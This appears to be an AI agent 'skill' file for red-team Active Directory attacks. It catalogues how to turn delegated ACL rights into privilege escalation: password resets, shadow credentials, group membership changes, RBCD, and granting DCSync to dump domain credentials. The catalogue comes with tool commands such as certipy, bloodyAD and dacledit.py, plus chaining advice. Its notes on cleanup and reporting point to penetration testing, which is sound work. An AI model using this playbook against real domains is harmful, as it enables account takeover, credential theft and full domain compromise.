--- name: acl-abuse description: Active Directory ACL and object-permission abuse — GenericAll, GenericWrite, WriteDACL, WriteOwner, Owns, AddMember, ForceChangePassword, AddKeyCredentialLink (shadow credentials), and AddSelf. Turn delegated rights over users, groups, computers and the domain object into privilege escalation. Use with BloodHound attack paths. --- # AD ACL / Permission Abuse BloodHound surfaces "who can do what to whom." Each dangerous edge is an escalation primitive. This skill is the catalogue of how to weaponize each. ## Trigger phrases `acl abuse, genericall, genericwrite, writedacl, writeowner, forcechangepassword, shadow credentials, addkeycredentiallink, dacl` ## Rights → exploitation - **ForceChangePassword (over user):** `net rpc password` / `Set-DomainUserPassword` / `changepasswd.py` → reset the target's password, then use it. - **GenericWrite / GenericAll (over user):** targeted Kerberoast (set an SPN then roast — see `kerberos-roasting`) or **shadow credentials** (write `msDS-KeyCredentialLink`, auth via PKINIT): `certipy shadow auto -u -p -account `. - **GenericAll / AddMember (over group):** add yourself/your user to the group (`net rpc group addmem`, `bloodyAD add groupMember`). - **GenericAll / GenericWrite (over computer):** configure **RBCD** → impersonate (see `kerberos-delegation`) or shadow-credentials the computer. - **WriteDACL (over object/domain):** grant yourself more rights (e.g., DCSync on the domain: add `DS-Replication-Get-Changes`), then `redteam-credential-dumping` DCSync. - **WriteOwner / Owns:** take ownership → set DACL → GenericAll → any of the above. - **AddSelf (over group):** add yourself to the group. - **ReadGMSAPassword / ReadLAPSPassword:** read the managed/local-admin password directly. ## Tooling `bloodyAD`, `powerview` (`Add-DomainObjectAcl`, `Set-DomainUserPassword`), `impacket` (`dacledit.py`, `owneredit.py`, `rbcd.py`), `certipy` (shadow creds), `net rpc`. Example DCSync grant: ``` dacledit.py -action write -rights DCSync -principal -target-dn '' /: ``` ## Depth & cleanup - Chain edges: `WriteOwner → WriteDACL → GenericAll → ForceChangePassword`. - Revert changes you make (remove added SPNs, group memberships, ACEs, key credentials) and record them for the report. ## Evidence The abused ACE (BloodHound screenshot), the action taken, and the access gained.